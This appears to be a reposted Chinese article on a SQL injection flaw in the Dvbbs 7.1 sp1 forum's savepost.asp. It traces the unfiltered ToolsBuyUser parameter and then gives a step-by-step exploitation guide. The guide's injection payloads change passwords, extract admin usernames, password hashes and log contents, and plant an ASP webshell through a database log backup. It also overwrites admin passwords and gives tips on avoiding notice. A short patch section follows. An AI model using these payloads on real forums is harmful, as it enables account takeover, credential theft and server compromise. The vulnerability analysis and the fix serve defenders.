Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防範

來源:互聯網
上載者:User

一、概述
漏洞介紹:
http://coolersky.com/leak/programme/bbs/2006/0515/515.html

前幾天就聽Hak_Ban說有人把dvbbs7的一個注入漏洞給發布出去了,一直也沒時間看看,下午跟Edward要了個連結看了看:

http://www.eviloctal.com/forum/read.php?tid=22074

本站轉貼為:

http://coolersky.com/articles/hack/analysis/programme/2006/0515/238.html

看了看風塵浪子的分析,覺得已經分析的挺明白的了,不過群裡還是有幾個朋友搞不太明白,索性在本地搭環境測試一下漏洞,感謝keng提供者,呵呵,實在懶得去網上找。
二、漏洞分析
既然是savepost.asp程式的問題,那就開啟改檔案,風塵浪子已經提到是ToolsBuyUser參數過濾不足,那就看這個變數。
32行,定義變數:

Private GetPostType,ToMoney,UseTools,ToolsBuyUser,GetMoneyType,Tools_UseTools,Tools_LastPostTime,ToolsInfo,ToolsSetting

111行,置空

ToolsBuyUser = ""

120行,在參數GetPostType為0時,賦值

ToolsBuyUser = "0|||$SendMoney"

123行,在參數GetPostType為1時,賦值

ToolsBuyUser = "0|||$GetMoney"

139行,在參數GetPostType為2時,賦值

ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"

747行,定義sql

SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"

745行,執行sql

Dvbbs.Execute(sql)

我們看到,在整個獲得資料到提交的過程中,沒有對ToolsBuyUser參數進行安全過濾,導致了sql注入漏洞。
三、漏洞利用
1、註冊使用者coolersky
2、選擇發表新話題
3、在“選擇文章類型”中選中“論壇交易帖設定”

4、在“可購買使用者名稱單限制:”中寫入

'將自身使用者口令修改為123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='coolersky';--

修改口令後,重新登陸論壇,若使用123456登陸成功,則說明該漏洞尚未修補。
5、獲得前台管理使用者名和口令,分別放在自訂頭像和簽名中,查看使用者coolersky的基本資料即可看到。

coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理員'),usersign=(select top 1 userpassword from dv_user where userclass='管理員') where username='coolersky';--

6、獲得後台管理使用者名和口令

coolersky',0);update dv_user set userface=(select top 1 username from dv_admin),usersign=(select top 1 password from dv_admin) where username='coolersky';--

7、通過日誌查看後台管理密碼

coolersky',0);update dv_user set usersign=(select l_content from dv_log where l_content like '%password2%') where username='coolersky';--

8、獲得資料庫名稱

coolersky',0);update dv_user set userface=(select db_name())where username='coolersky';--

9、日誌差異備份webshell

'替換dbname為上一步獲得的資料庫名稱,日誌差異備份要db_owner許可權!
'替換d:\web\dvbbs7\為當前論壇實體路徑,怎麼獲得別來問我!
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values ('<%execute request("l")%>');backup log dbname to disk = 'd:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--

或者

coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values (0x273C2565786563757465207265717565737428226C2229253E27);backup log dbname to disk = ''d:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--

使用最小asp木馬用戶端串連即可!
10、直接修改管理員口令
通過5、6、7三個步驟可以獲得管理員前背景使用者名稱和密碼,至少密碼是16位md5,我們可以通過網路查詢或者暴力破解獲得管理員口令來登入前後台,但是也很可能沒辦法破解出口令。
而如果也無法獲得論壇的實體路徑,那麼只好通過修改管理員口令來實現了,當然能不改管理員口令還是盡量避免修改,否則馬上就被管理員知道被入侵了。
(1)獲得前台管理使用者名:

coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理員')where username='test';--

(2)修改前台管理員口令:

'假設我們獲得前台管理使用者名為admin,修改密碼為123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='admin';--

(3)獲得後台管理使用者名:

coolersky',0);update dv_user set userface=(select top 1 username from dv_admin)where username='test';--

(4)修改後台管理員口令:

'假設我們獲得後台管理使用者名為admin,修改密碼為123456
coolersky',0);update dv_admin set password='49ba59abbe56e057' where username='admin';--

(5)登入前台上傳mdb構造過的asp一句話後門,後台back為asp或asa檔案即可,如何操作不在本文描述過程中。
通過以上操作,只要伺服器支援多語句,那麼我們還可以對資料庫進行更多操作。
四、漏洞修補
1、從dvbbs下載最新補丁

http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1

2、開啟savepost.asp檔案,將747行

SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"

修改為:

SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&dvbbs.checkstr(ToolsBuyUser)&"',"&GetMoneyType&")"

即用dvbbs.checkstr函數過濾ToolsBuyUser內容。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.